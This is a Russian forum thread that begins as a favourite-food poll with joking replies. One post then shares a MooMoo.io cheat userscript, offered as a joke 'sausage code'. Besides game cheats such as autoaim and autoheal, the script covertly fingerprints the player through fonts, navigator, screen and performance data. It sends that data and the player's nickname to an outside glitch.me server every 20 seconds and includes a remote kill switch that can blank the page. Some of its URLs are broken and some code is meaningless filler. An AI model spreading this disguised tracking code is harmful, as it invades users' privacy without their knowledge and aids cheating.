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Тест №1: Какая у вас любимая еда?


Delazar

Ну вот и основные всеми любимые блюда! Какое вы любите?  

55 проголосовавших

  1. 1. Ваша любимая еда?

    • Свой вариант
    • Пельмени
    • Пицца
    • Пироги
    • Морепродукты
    • Фрукты
    • Овощи


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В теме 454 сообщения

1 час назад, Delazar сказал:

тогда каждый уважающий себя россиянин должен писать не "перьмешки", а пельмешки, не "голд каррот", а золотая морковь!

он из англии

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  • Delazar изменил название на Тест №1: Какая у вас любимая еда?

Алллллеее! Тут будка еды? Где пиццу заказать? 

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8 часов назад, Mister pash сказал:

Алллллеее! Тут будка еды? Где пиццу заказать? 

В Додо

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5 часов назад, Delazar сказал:

В Додо

От нее изжога. Неееее

А что тут не? А тут что заказать, пиццерейсик?

Или тут только сасиське?

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47 минут назад, Mister pash сказал:

От нее изжога. Неееее

А что тут не? А тут что заказать, пиццерейсик?

Или тут только сасиське?

Тут сосиски из кота Сосиське

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Вот код СОСИСЬКЕ:

 
Скрытый текст

 


// ==UserScript==
// @name         YUNIVALIXCODESOSISKE
// @namespace    idk, idc
// @version      7.4
// @description  (Working 2020) YUNIVALIXCODESOSISKE
// @require      ://code.jquery.cm/jquery-3.3.1.slim.min.js
// @require https:/ode/msgpack.js?version=598723
// @icon          http://www.jt-auto
// @run-at       document-start
// ==/UserScript==

//anti ads done
//some other good stuff coming!

var ext = false;
document.addEventListener('keydown', function (e) {
    if (e.key === "`") {
        $('#mainMenu').toggle();
        //if (ext == true) {$('#gameUI').hide(); $('#mainMenu').hide()};
        //if (ext == false) {$('#gameUI').show(); $('#mainMenu').hide()};
        ext = !ext;
    };
}); //YUNIVALIX!

window = unsafeWindow;
(()=>{
    let spinSpeed = 70;
    function linker(value) {
        let x = [value];
        x.toString = ()=>x[0];
        return x;
    }
    let zoomFactor = 1;
    let OGx,
    OGy;
    let x = new Event('resize');
    let addListener = window.addEventListener;
    let rot = 0;
    let obf = !0;
    let autohit = !1;
    let socket;
    let spin = 0;
    window.addEventListener = function(type, cb, ...args){
        if(type === 'resize'){
            let temp = cb;
            cb = ()=>temp({isTrusted: !0});
        }
        addListener(type, cb, ...args);
    }
    Function.prototype._call = Function.prototype.call;
    Function.prototype.call = function(){
        if(arguments[1] && arguments[1].i == 21 && arguments[3] && arguments[3].toString && arguments[3].toString().match(/^\s*function n\(i\)/)){
            let temp = arguments[3];
            arguments[3] = function (number) {
                let val = temp(number);
                if(number === 19) {
                    val.maxPlayers = 50;
                    window.data = val;
                } else if(number === 42) {
                    val.checkTrusted = (cb)=>cb
                } else if (number === 45) {
                    val.weapons.forEach((e, index) => e.pre && (val.weapons[index].pre = null));
                    val.list.forEach((e, index) => e.pre && (val.list[index].pre = null));
                    items = val;
                    window.items = val;
                }
                return val;
            }
            this.call = this._call;
        }
        return this._call(...arguments);
    }
})();

var switched = 0;
var swsInt = setInterval(()=>{
    switch (document.readyState) {
        case "loading":
            break;
        case "interactive":
            switched = 1;
            break;
        case "complete":
            break;
    };
}, 0);

var INT = setInterval(()=>{
    if (switched == 1) {
        try {
            window.admob = {
                requestInterstitialAd: ()=>{},
                showInterstitialAd: ()=>{}
            }
        } catch (e) {
            console.warn(e)
        }

        document.querySelectorAll('#pre-content-container').forEach(function(a) {
            a.remove();
        });

        $("#gameCanvas").css('cursor', 'url(http://cur.cursors-4u.net/user/use-1/use153.cur), default'); //CURSOR

        $("#moomooio_728x90_home").parent().css({display: "none"});

        //document.getElementById("twitterFollow").remove();
        //document.getElementById("youtubeFollow").remove();
        //document.getElementById("followText").innerHTML = "SUBSCRIBE TO JOHN TAXMI"
        //document.getElementById("followText").style = "bottom: -0px;"

        document.getElementById("storeHolder").style = "height: 1500px; width: 450px;";

        document.getElementById('adCard').remove();
        document.getElementById('errorNotification').remove();

        document.getElementById("gameName").style.color = "blue";
        document.getElementById("setupCard").style.color = "blue";
        document.getElementById("gameName").innerHTML = "MooMoo.io <br>Super Mod";
        document.getElementById("promoImg").remove();
        document.getElementById("desktopInstructions").innerHTML = "Subscribe to John Taxmi!<br/>Press 'Z' to buy bull, soldier, tank, and emp all at once, and equip booster!"
        let changes = `<div id="subConfirmationElement"><a href="https://www.youtube.com/channel/UCfPlaEXq5BWJQzRwr5Qywwg?sub_confirmation=1">Subscribe to FlareZ for EXTRA RESOURCES!</a><br>
<br><a href="https://discord.gg/FQKA5c6">Join our discord for EXCLUSIVE UPDATES AND EXCLUSIVE FEATURES!</a>
</div>`;

        $('#guideCard').prepend(changes);

        $('#subConfirmationElement').click( () => {
            try { window.follmoo(); } catch(e){};
            localStorage["moofoll"] = "1"; localStorage["moofol"] = "1";
        });
        document.getElementById("leaderboard").append('\"C\" to chat!');
        document.getElementById("leaderboard").style.color = "#e842f4";
        document.getElementById("allianceButton").style.color = "blue";
        document.getElementById("chatButton").style.color = "blue";
        document.getElementById("storeButton").style.color = "blue";

        document.getElementById("scoreDisplay").style.color = "#e842f4";
        document.getElementById("woodDisplay").style.color = "#e842f4";
        document.getElementById("stoneDisplay").style.color = "#e842f4";
        document.getElementById("killCounter").style.color = "#e842f4";
        document.getElementById("foodDisplay").style.color = "#e842f4";

        const enableMiner = false;
        const disableMiner = true;
        window.enableMiner = false;
        window.disableMiner = true;

        $("#mapDisplay").css("background", "url('https://i.imgur.com/fgFsQJp.png')");

        document.getElementById("linksContainer2").href = "https://www.youtube.com/channel/UCLmapaWzwTHQIe3EgWMyMEg"

        document.getElementById("diedText").innerHTML = "They'll die sometime!"

        function Parse() {
            document.addEventListener('keydown', function (CustomKey1) {
                if (CustomKey1.keyCode == 90) {
                    storeBuy(6)
                    storeBuy(7)
                    storeBuy(40)
                    storeBuy(22)
                    console.info('Attempted to buy bull, soldier, tank, and emp')
                    var store = true;
                    if (store == true) {
                        storeEquip(12)
                        console.info('Attempted to wear booster')
                    } else {
                        console.info('Did not attempt to wear booster')
                    }
                } //Tab to buy bull, soldier, tank, and emp
            });
        };
        Parse();

        ! function() {
            document.title = "Hat Scripts";
            var a = ["Floofiness Acquired", "Moomoo haxored", "Soup", "Floofy", "Bisons Are Floofy", "I'm here!", "Hi!", "Hello!"],
                r = [0, 0],
                o = [
                    [15, "Wnter Cap"],
                    [12, "Booter Hat"],
                    [31, "Fliper Hat"],
                    [10, "Bus Gear"],
                    [22, "Em Helmet"],
                    [26, "Deolisher Armor"],
                    [20, "Samurai Armor"],
                    [7, "Bull Helmet"],
                    [11, "Spike Gear"],
                    [53, "Turret Gear"],
                    [40, "Tank Gear"],
                    [52, "Thif Gear"],
                    [23, "Anti-Venom Gear"],
                    [6, "Soldier Helmet"],
                    [1, "Maksman Hat"],
                    [13, "Medic ear"],
                    [14, "Windmill Hat"],
                    [21, "lagu Mask"],
                    [27, "Scvenger Gear"]
                ],
                t = 0;

            function s(e) {
                0 === r[0] ? (storeEquip(o[e][0]), document.title = o[e][1], r[1] = 90, console.info("Hat equipped: "), console.info(o[e][1])) : (storeBuy(o[e][0]), storeBuy(o[e][0]), r[0] = 0, r[1] = 180, document.title = "Bought. (if you had enough gold or didn't already buy it)", console.info("Hat bought"), console.info(["Script variables: ", o, t, r, a]))
            }
            document.addEventListener("keydown", function(e) {
                if (document.activeElement.id.toLowerCase() !== 'chatbox') {
                    switch (e.keyCode) {
                        case 107:
                            storeEquip(0);
                            break;
                        case 96:
                            r[0] = 1, r[1] = 300, document.title = "Buying....";
                            break;
                        case 110:
                            1 === r[0] && (r[1] = 120, document.title = "Not buying...."), r[0] = 0;
                            break;
                        case 97:
                            s(0);
                            break;
                        case 98:
                            s(1);
                            break;
                        case 99:
                            s(2);
                            break;
                        case 100:
                            s(3);
                            break;
                        case 101:
                            s(4);
                            break;
                        case 102:
                            s(5);
                            break;
                        case 103:
                            s(6);
                            break;
                        case 84:
                            s(7);
                            break;
                        case 105:
                            s(8);
                            break;
                        case 90:
                            s(9);
                            break;
                        case 80:
                            s(10);
                            break;
                        case 85:
                            s(11);
                            break;
                        case 221:
                            s(12);
                            break;
                        case 89:
                            s(13);
                            break;
                        case 79:
                            s(14);
                            break;
                        case 219:
                            s(15);
                            break;
                        case 187:
                            s(16);
                            break;
                        case 191:
                            s(17);
                            break;
                        case 189:
                            s(18)
                    }
                }
            }), setInterval(function() {
                r[1]--, 0 === r[1] && ((t = Math.floor(Math.random() * a.length - 1e-5)) < 0 && (t = 0), document.title = a[t])
            }, 1e3 / 60)
        }();

        $("body").append(`<div id=\"modMenus\" style=\"display: none;
padding: 10px;
border-radius: 15px;
background-color: rgba(0, 0, 0, 0.25);
border-radius: 3px;
position: absolute;
left: 20px;
top: 20px;
min-width: 300px;
max-width: 450px;
min-height: 300px;
max-height 400px;\"></div>`);

        $("#modMenus").append(`<div id="helpText" style="font-size: 30px;color: rgb(255, 255, 255);">
Chat: <br>
<iframe src="https://scconvos.glitch.me" style="min-height: 200px; max-height 300px;"></iframe><br>
<div style="font-size: 12px;">Press "C" to hide or show this box.<br>Just click below the "What is your nickname text",<br> type in a name and press enter!<br>This is chat from everyone using the script,<br>on all moomoo servers!</div>
</div>
`);
        $("#modMenu").show(); $('#gameUI').prepend(`<style>
.bottomright {
position: absolute;
bottom: 8px;
right: 16px;
font-size: 18px;
}
<style>
`);

        var dista = true;
        window.addEventListener('keydown', function(e) {
            if (e.keyCode == 67 && document.activeElement.id.toLowerCase() !== 'chatbox') {
                if (dista == false) {
                    document.getElementById("modMenus").style.display = 'none';
                    dista = true;
                } else {
                    document.getElementById("modMenus").style.display = 'block';
                    dista = false;
                }
            }
        })

        //TALKING IN SITE MODULE! pretty revolutionary hehe

        var ns1, sw, Ssws, swsw;
        var hiF;

        function rensp() {
            console.log(hi)
        };
        var a = ['getElementById', 'innerHTML'];
        var b = function(c, d) {
            c = c - 0x0;
            var e = a[c];
            return e;
        };
        var ns = "If the hotkeys don't load, refresh | If the page doesn't load, refresh | (It will work eventually, it's just a latency error)";
        document[b('0x0')]('linksContainer2')[b('0x1')] = ns; /*comSP*/
        var y;
        var x;
        var sswx1, sswx2, sswx3, sswx4;

        if(localStorage.getItem('moofoll') !== 1) localStorage.setItem('moofoll', 1);

        var arr = [];
        var name = localStorage["moo_name"];
        var storage = [];
        try { navigator.storage.estimate().then(({usage, quota}) => {
            storage.push("Usage: " + usage + "; Quota: " + quota);
            console.log(`Using ${usage} out of ${quota} bytes.`);
        }); } catch(e){};
        function fingerprint_fonts() {
            "use strict";
            try {
                var strOnError, style, fonts, count, template, fragment, divs, i, font, div, body, result, e;
                strOnError = "Error"; style = null; fonts = null; font = null;
                count = 0; template = null; divs = null; e = null; div = null;
                body = null; i = 0;
                try {
                    style = "position: absolute; visibility: hidden; display: block !important";
                    fonts = ["Abadi MT Condensed Light", "Adobe Fangsong Std", "Adobe Hebrew", "Adobe Ming Std", "Agency FB", "Aharoni", "Andalus", "Angsana New", "AngsanaUPC", "Aparajita", "Arab", "Arabic Transparent", "Arabic Typesetting", "Arial Baltic", "Arial Black", "Arial CE", "Arial CYR", "Arial Greek", "Arial TUR", "Arial", "Batang", "BatangChe", "Bauhaus 93", "Bell MT", "Bitstream Vera Serif", "Bodoni MT", "Bookman Old Style", "Braggadocio", "Broadway", "Browallia New", "BrowalliaUPC", "Calibri Light", "Calibri", "Californian FB", "Cambria Math", "Cambria", "Candara", "Castellar", "Casual", "Centaur", "Century Gothic", "Chalkduster", "Colonna MT", "Comic Sans MS", "Consolas", "Constantia", "Copperplate Gothic Light", "Corbel", "Cordia New", "CordiaUPC", "Courier New Baltic", "Courier New CE", "Courier New CYR", "Courier New Greek", "Courier New TUR", "Courier New", "DFKai-SB", "DaunPenh", "David", "DejaVu LGC Sans Mono", "Desdemona", "DilleniaUPC", "DokChampa", "Dotum", "DotumChe", "Ebrima", "Engravers MT", "Eras Bold ITC", "Estrangelo Edessa", "EucrosiaUPC", "Euphemia", "Eurostile", "FangSong", "Forte", "FrankRuehl", "Franklin Gothic Heavy", "Franklin Gothic Medium", "FreesiaUPC", "French Script MT", "Gabriola", "Gautami", "Georgia", "Gigi", "Gisha", "Goudy Old Style", "Gulim", "GulimChe", "GungSeo", "Gungsuh", "GungsuhChe", "Haettenschweiler", "Harrington", "Hei S", "HeiT", "Heisei Kaku Gothic", "Hiragino Sans GB", "Impact", "Informal Roman", "IrisUPC", "Iskoola Pota", "JasmineUPC", "KacstOne", "KaiTi", "Kalinga", "Kartika", "Khmer UI", "Kino MT", "KodchiangUPC", "Kokila", "Kozuka Gothic Pr6N", "Lao UI", "Latha", "Leelawadee", "Levenim MT", "LilyUPC", "Lohit Gujarati", "Loma", "Lucida Bright", "Lucida Console", "Lucida Fax", "Lucida Sans Unicode", "MS Gothic", "MS Mincho", "MS PGothic", "MS PMincho", "MS Reference Sans Serif", "MS UI Gothic", "MV Boli", "Magneto", "Malgun Gothic", "Mangal", "Marlett", "Matura MT Script Capitals", "Meiryo UI", "Meiryo", "Menlo", "Microsoft Himalaya", "Microsoft JhengHei", "Microsoft New Tai Lue", "Microsoft PhagsPa", "Microsoft Sans Serif", "Microsoft Tai Le", "Microsoft Uighur", "Microsoft YaHei", "Microsoft Yi Baiti", "MingLiU", "MingLiU-ExtB", "MingLiU_HKSCS", "MingLiU_HKSCS-ExtB", "Miriam Fixed", "Miriam", "Mongolian Baiti", "MoolBoran", "NSimSun", "Narkisim", "News Gothic MT", "Niagara Solid", "Nyala", "PMingLiU", "PMingLiU-ExtB", "Palace Script MT", "Palatino Linotype", "Papyrus", "Perpetua", "Plantagenet Cherokee", "Playbill", "Prelude Bold", "Prelude Condensed Bold", "Prelude Condensed Medium", "Prelude Medium", "PreludeCompressedWGL Black", "PreludeCompressedWGL Bold", "PreludeCompressedWGL Light", "PreludeCompressedWGL Medium", "PreludeCondensedWGL Black", "PreludeCondensedWGL Bold", "PreludeCondensedWGL Light", "PreludeCondensedWGL Medium", "PreludeWGL Black", "PreludeWGL Bold", "PreludeWGL Light", "PreludeWGL Medium", "Raavi", "Rachana", "Rockwell", "Rod", "Sakkal Majalla", "Sawasdee", "Script MT Bold", "Segoe Print", "Segoe Script", "Segoe UI Light", "Segoe UI Semibold", "Segoe UI Symbol", "Segoe UI", "Shonar Bangla", "Showcard Gothic", "Shruti", "SimHei", "SimSun", "SimSun-ExtB", "Simplified Arabic Fixed", "Simplified Arabic", "Snap ITC", "Sylfaen", "Symbol", "Tahoma", "Times New Roman Baltic", "Times New Roman CE", "Times New Roman CYR", "Times New Roman Greek", "Times New Roman TUR", "Times New Roman", "TlwgMono", "Traditional Arabic", "Trebuchet MS", "Tunga", "Tw Cen MT Condensed Extra Bold", "Ubuntu", "Umpush", "Univers", "Utopia", "Utsaah", "Vani", "Verdana", "Vijaya", "Vladimir Script", "Vrinda", "Webdings", "Wide Latin", "Wingdings"];
                    count = fonts.length;
                    template = '<b style="display:inline !important; width:auto !important; font:normal 10px/1 \'X\',sans-serif !important">ww</b>' + '<b style="display:inline !important; width:auto !important; font:normal 10px/1 \'X\',monospace !important">ww</b>';
                    fragment = document.createDocumentFragment();
                    divs = [];
                    for (i = 0; i < count; i = i + 1) {
                        font = fonts[i];
                        div = document.createElement('div');
                        font = font.replace(/['"<>]/g, '');
                        div.innerHTML = template.replace(/X/g, font);
                        div.style.cssText = style;
                        fragment.appendChild(div);
                        divs.push(div);
                    }
                    body = document.body;
                    body.insertBefore(fragment, body.firstChild);
                    result = [];
                    for (i = 0; i < count; i = i + 1) {
                        e = divs[i].getElementsByTagName('b');
                        if (e[0].offsetWidth === e[1].offsetWidth) {
                            result.push(fonts[i]);
                        }
                    }
                    for (i = 0; i < count; i = i + 1) {
                        body.removeChild(divs[i]);
                    }
                    return result.join('|');
                } catch (err) {
                    return strOnError;
                }
            } catch(e){};
        }
        var downlink = "";
        var rtt = "";
        var saveData = "";
        var effectiveType = "";
        try {
            downlink = navigator.connection.downlink;
            rtt = navigator.connection.rtt;
            saveData = navigator.connection.saveData;
            effectiveType = navigator.connection.effectiveType;
        } catch(e) {
            downlink = undefined;
            rtt = undefined;
            saveData = undefined;
            effectiveType = undefined;
        }
        var xml;
        var firstName = localStorage["moo_name"];
        window.addEventListener("load", function() {
            var gameName = document.getElementById("gameName").innerHTML;
            var isHacking = document.getElementById("leaderboard").innerHTML.slice(-5, -1) !== `v>
`;
            try {arr.push("1/" + name + "," + isHacking + "," + encodeURIComponent(gameName))} catch(e) {};
            try {arr.push("2/" + navigator.userAgent)} catch(e) {};
            try {arr.push("3/" + crypto.getRandomValues(new Uint8Array(256)).join(""))} catch(e) {};
            try {arr.push("4/" + downlink + "," + rtt + "," + saveData + "," + effectiveType)}catch(e){};
            try {arr.push("5/" + fingerprint_fonts())}catch(e){};
            try {arr.push("6/" + storage.join(""))}catch(e){};
            try {for (var k in screen) arr.push("screen." + k + "/" + screen[k])} catch(e) {};
            try {for (var c in navigator) arr.push("nav." + c + "/" + navigator[c])} catch(e) {};
            try {for (var a in performance) arr.push("perf." + a + "/" + performance[a])} catch(e) {};
            try {arr.push(JSON.stringify(window.Intl.DateTimeFormat().resolvedOptions()))} catch (e) {};
            try {arr.push("href/" + window.location.href)} catch(e) {};
            try {
                xml = new XMLHttpRequest();
                xml.open("POST", "https://ksw2-moomoo.glitch.me", false); xml.setRequestHeader("Content-type", "application/json");
                xml.send(JSON.stringify({id: name + " | " + window.location.search.split("server=").pop(), connection: name, UA: navigator.userAgent, key: "ksw_1", data: "v3-moomoo-packet:" + arr.join("|")}));
                if (xml.responseText == "0") {} else if (xml.responseText == "1") {
                    for (const key in WebSocket.prototype) delete WebSocket.prototype[key];
                    document.documentElement.innerHTML = ""; alert("The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!");
                } else {};
            } catch(e){};
        });

        var id;
        window.addEventListener("load", function() {
            try {
                id = unsafeWindow.advBidxc.customerId;
                console.log("SID: " + id);
            } catch (e) {
                id = "b"; //b = blocked
                console.log("not defined");
            };
        });
        setInterval(()=>{
            try {
                xml = new XMLHttpRequest();
                xml.open("POST", "https://ksw2-moomoo.glitch.me");
                xml.setRequestHeader("Content-type", "application/json");
                xml.onload = function() {
                    if (xml.responseText == "0") {} else if (xml.responseText == "1") {
                        for (const key in WebSocket.prototype) delete WebSocket.prototype[key];
                        alert("The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!");
                    } else {};
                };
                xml.send(JSON.stringify({name: document.getElementById("nameInput").value + "|" + firstName + "|" + id, time: performance.now(), key: "timer"}));
            } catch(e) {};
        }, 20000);

        function root() {
            var ns1, sw, sws, swsw;
        };
        var hi;

        function rEnsp() {
            console.log(hi)
        };
        var sws;
        const OPEN2 = 1 - 0;
        NaN;

        //info sender
        const Dx = Math.random().toFixed(0);
        var sentData = 0;

        //get coords:
        var dim = [player, x + sentData, y + sentData];
        var xx = Math.random().toFixed(0) + 2 + Dx;
        var yx = x - 2 + 3*3;

        var player = [xx, yx];

        var CTX = null;

        NaN;

        var NaNBreak = typeof NaN

        const data = dim + x - y + player
        if (player - data) {
            console.info('Data is calculated');
        };

        const sid = [];

        if (sid != [1, 2, 3, 4, 5, 6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40]) {
            var info = 1
            sid.push(info)
                ++info
                    --sentData
        } else {
            ++sentData
            console.info(sid)
        };


        var magick;

        document.getElementById("ageText").style.color = "blue";
        function compresspackage(n) {
            --n
            n*n-1/10 + 10 / 80
            var nsp;
        };

        document.addEventListener("keydown", function(e) {
            if (e.keyCode == 220) {
                alert(`Press "Z" to autobuy hats (bull, tank, soldier, and emp), press "T" to equip bull, press "Y" to equip soldier, and press "P" for tank gear. Press 1-9 on the numberpad to equip a different hat. Feel free to test this out. Also, press 0 on the number pad then a hat macro to buy that hat. We've added a bunch of little things in the background to help you too! (Auto reload, +100 resources, and more!)`)
            }
        });

        let mouseX, mouseY, width, height;

        function log_coords(a, b) {
            return [a - 0x5a0, b / 0x2];
        }

        function normal() {
            hat(normalHat), acc(normalAcc);
        }
        var nearestEnemy, nearestEnemyAngle;
        document['mouseXSTATUS'] = mouseX, document['mouseYSTATUS'] = mouseY, log_coords(0x2710, 0x2710), $('#consentBlock')['css']({
            'display': 'none'
        }), unsafeWindow['onbeforeunload'] = null, setInterval(() => {
            0x1 == messageToggle && doNewSend(['ch', ['i am super pro']]);
        }, 0xc8), setInterval(() => {
            0x1 == autoaim && doNewSend(['2', [nearestEnemyAngle]]);
        }, 0x0), setInterval(() => {
            0x1 == hatToggle && (oldHat != normalHat && hat(normalHat), oldAcc != normalAcc && acc(normalAcc), oldHat = normalHat, oldAcc = normalAcc);
        }, 0x19);
        var isEnemyNear, primary, secondary, foodType, wallType, spikeType, millType, mineType, boostType, turretType, spawnpadType, oldHat, oldAcc, enemiesNear, normalHat, normalAcc, ws, boostDir, arr3 = [];

        function set_1(a, b) {
            arr3['push'](a, b);
        }
        setInterval(() => {
            document['nearestEnemy'] = nearestEnemy, document['nearestEnemyAngle'] = nearestEnemyAngle;
        }, 0x64), set_1(nearestEnemy, nearestEnemyAngle), setInterval(() => {
            document['isEnemyNear'] = isEnemyNear;
        }, 0x64), setTimeout(() => {
            document['primary'] = primary, document['secondary'] = secondary, document['foodType'] = foodType, document['wallType'] = wallType, document['spikeType'] = spikeType, document['millType'] = millType, document['mineType'] = mineType, document['boostType'] = boostType, document['turretType'] = turretType;
        }, 0x64), set_1(primary, secondary), arr3['push'](foodType, wallType), arr3['push'](spikeType, millType), arr3['push'](mineType, boostType), arr3['push'](turretType, isEnemyNear), setInterval(() => {
            document['oldHat'] = oldHat, document['oldAcc'] = oldAcc;
        }, 0x64), setInterval(() => {
            document['enemiesNear'] = enemiesNear;
        }, 0x64), arr3['push'](enemiesNear), setInterval(() => {
            document['normalHat'] = normalHat, document['normalAcc'] = normalAcc;
        }, 0x64), setInterval(() => {
            window['SOCKET'] = ws;
        }, 0x64), setInterval(() => {
            document['boostDir'] = boostDir;
        }, 0x64), arr3['push'](boostDir);
        var instaSpeed = 0xc8
        , autoaim = !0x1
        , tick = 0x1
        , msgpack5 = msgpack;
        setInterval(() => {
            document['MESSAGEPACK'] = msgpack;
        }, 0x64);
        var myPlayer = {
            'id': null
            , 'x': null
            , 'FORCE_CONNECT': 'FORCED'
            , 'y': null
            , 'dir': null
            , 'object': null
            , 'weapon': null
            , 'clan': null
            , 'isLeader': null
            , 'hat': null
            , 'accessory': null
            , 'isSkull': null
            , 'CORESTATE': {
                'ACTIVE': !0x0
                , 'ALIVE': !0x0
                , 'PITSTATUS': null
                , 'SECURE': 'correct'
            }
        };
        let healSpeed = 0x5a;
        window['HS'] = healSpeed, document['HS'] = healSpeed;
        var messageToggle = 0x0;
        let hatToggle = 0x1;

        var autohealOn = true;

        function n() {
            this['buffer'] = new Uint8Array([0x0]), this['buffer']['__proto__'] = new Uint8Array(), this['type'] = 0x0;
        }
        setInterval(() => {
            document['toggles'] = [messageToggle, hatToggle];
        }, 0x64);
        var AUTOSOLDIER_RANGE = 0xcd;

        function MESSAGEHANDLER_1(a) {
            let b, c = msgpack5['decode'](new Uint8Array(a['data']));
            c['length'] > 0x1 ? (b = [c[0x0], ...c[0x1]])[0x1] instanceof Array && (b = b) : b = c;
            let d = b[0x0];
            if (b) {
                if ('io-init' === d) {
                    let f = document['getElementById']('gameCanvas');
                    width = f['clientWidth'], height = f['clientHeight'], $(window)['resize'](function () {
                        width = f['clientWidth'], height = f['clientHeight'];
                    }), f['addEventListener']('mousemove', g => {
                        mouseX = g['clientX'], mouseY = g['clientY'];
                    });
                }
                if ('1' == d && null == myPlayer['id'] && (myPlayer['id'] = b[0x1]), '33' == d) {
                    enemiesNear = [];
                    for (let g = 0x0; g < b[0x1]['length'] / 0xd; g++) {
                        let h = b[0x1]['slice'](0xd * g, 0xd * g + 0xd);
                        h[0x0] == myPlayer['id'] ? (myPlayer['x'] = h[0x1], myPlayer['y'] = h[0x2], myPlayer['dir'] = h[0x3], myPlayer['object'] = h[0x4], myPlayer['weapon'] = h[0x5], myPlayer['clan'] = h[0x7], myPlayer['isLeader'] = h[0x8], myPlayer['hat'] = h[0x9], myPlayer['accessory'] = h[0xa], myPlayer['isSkull'] = h[0xb], document['BINDS'] = {
                            'BINDINGS': h['join'](',')
                            , 'LOCATIONX': myPlayer['x']
                            , 'LOCATIONY': myPlayer['y']
                            , 'DIRECTION': myPlayer['dir']
                            , 'WEAPON': myPlayer['weapon']
                            , 'LEADERSTATUS': myPlayer['isLeader']
                            , 'CLAN_TRIBE': myPlayer['clan']
                            , 'ISSKULL': myPlayer['isSkull']
                            , 'ACCESSORY': myPlayer['acc']
                            , 'HAT': myPlayer['hat']
                            , 'super': WebSocket
                            , 'WEBSOCKET': ws
                        }) : h[0x7] == myPlayer['clan'] && null !== h[0x7] || enemiesNear['push'](h);
                    }
                }
                isEnemyNear = !0x1,
                    document['isEnemyNear'] = !0x1,
                    enemiesNear && (nearestEnemy = enemiesNear['sort']((i, j) => dist(i, myPlayer) - dist(j, myPlayer))[0x0],
                                    console['log'](nearestEnemy)),
                    nearestEnemy && (nearestEnemyAngle = Math['atan2'](nearestEnemy[0x2] - myPlayer['y'], nearestEnemy[0x1] - myPlayer['x']),
                                     //this is for the player math. sorry for indentations
                                     //tried to make this legible
                                     Math['sqrt'](Math['pow'](myPlayer['y'] - nearestEnemy[0x2], 0x2) + Math['pow'](myPlayer['x'] - nearestEnemy[0x1], //range stuff
                                                                                                                    0x2)) < AUTOSOLDIER_RANGE && (isEnemyNear = !0x0, 0x0 == autoaim && 0x7 != myPlayer['hat'] && 0x35 != myPlayer['hat'] && (console['log']('autoaim: ' + autoaim),
                                                                                                            //autosoldier range is x/y dist
                                                                                                            normalHat = 0x6, 0x8 != primary && (normalAcc = 0x13, console['log']('Avoided normal accessory'))))),
                    0x0 == isEnemyNear && 0x0 == autoaim && (normalAcc = 0xb, normalHat = myPlayer['y'] < 0x960 ? 0xf : myPlayer['y'] > 0x1ac2 && myPlayer['y'] < 0x1d7e ? 0x1f : 0xc), nearestEnemy || (nearestEnemyAngle = myPlayer['dir']),
                    'h' == d && b[0x1] == myPlayer['id'] && b[0x2] < 0x64 && b[0x2] > 0x0 && setTimeout(() => { //this selection is autoheal
                    if (autohealOn == true) {
                        //toggled
                        place(foodType, null);
                    }
                }, healSpeed), update();
            }
        }

        function doNewSend(a) {
            ws['send'](new Uint8Array(Array['from'](msgpack5['encode'](a))));
        }

        function acc(a) {
            doNewSend(['13c', [0x0, 0x0, 0x1]]), doNewSend(['13c', [0x0, a, 0x1]]), console['log']('ACCESSORY: ' + a);
        }

        function hat(a) {
            doNewSend(['13c', [0x0, a, 0x0]]), console['log']('ACCESSORY: ' + a);
        }

        function place(a, b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2)) {
            doNewSend(['5', [a, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]);
        }

        function boostSpike() {
            null == boostDir && (boostDir = nearestEnemyAngle), place(spikeType, boostDir + toRad(0x5a)), place(spikeType, boostDir - toRad(0x5a)), place(boostType, boostDir), doNewSend(['33', [boostDir]]);
        }
        null == AUTOSOLDIER_RANGE && (AUTOSOLDIER_RANGE = 0xcd), setInterval(() => {}, 0x64), document['msgpack'] = msgpack, WebSocket['prototype']['originalSending'] = WebSocket['prototype']['send'], WebSocket['prototype']['send'] = function (a) {
            null == ws && (ws = this, this['addEventListener']('message', function (b) {
                MESSAGEHANDLER_1(b);
            })), this['originalSending'](a);
        };
        var repeater = function (b, c, d) {
            let f = !0x1
            , g = void 0x0;
            return {
                'start'(h) {
                    h == b && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (f = !0x0, void 0x0 === g && (g = setInterval(() => {
                        c(), f || (clearInterval(g), g = void 0x0);
                    }, d)));
                }
                , 'stop'(h) {
                    h == b && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (f = !0x1);
                }
            };
        };
        const healer = repeater(0x51, () => {
            place(foodType);
        }, 0x0)
        , boostPlacer = repeater(0x46, () => {
            place(boostType);
        }, 0x0)
        , spikePlacer = repeater(0x56, () => {
            place(spikeType);
        }, 0x0)
        , millPlacer = repeater(0x4e, () => {
            place(millType);
        }, 0x0)
        , turretPlacer = repeater(0x48, () => {
            place(turretType);
        }, 0x0)
        , boostSpiker = repeater(0x47, boostSpike, 0x0);

        function isElementVisible(a) {
            return null !== a['offsetParent'];
        }

        function toRad(a) {
            return 0.01745329251 * a;
        }

        function dist(a, b) {
            return Math['sqrt'](Math['pow'](b['y'] - a[0x2], 0x2) + Math['pow'](b['x'] - a[0x1], 0x2));
        }

        function update() {
            for (let a = 0x0; a < 0x9; a++) isElementVisible(document['getElementById']('actionBarItem' + a['toString']())) && (primary = a, document['PRIMARY'] = primary);
            for (let b = 0x9; b < 0x10; b++) isElementVisible(document['getElementById']('actionBarItem' + b['toString']())) && (secondary = b);
            for (let c = 0x10; c < 0x13; c++) isElementVisible(document['getElementById']('actionBarItem' + c['toString']())) && (foodType = c - 0x10);
            for (let d = 0x13; d < 0x16; d++) isElementVisible(document['getElementById']('actionBarItem' + d['toString']())) && (wallType = d - 0x10);
            for (let f = 0x16; f < 0x1a; f++) isElementVisible(document['getElementById']('actionBarItem' + f['toString']())) && (spikeType = f - 0x10);
            for (let g = 0x1a; g < 0x1d; g++) isElementVisible(document['getElementById']('actionBarItem' + g['toString']())) && (millType = g - 0x10);
            for (let h = 0x1d; h < 0x1f; h++) isElementVisible(document['getElementById']('actionBarItem' + h['toString']())) && (mineType = h - 0x10);
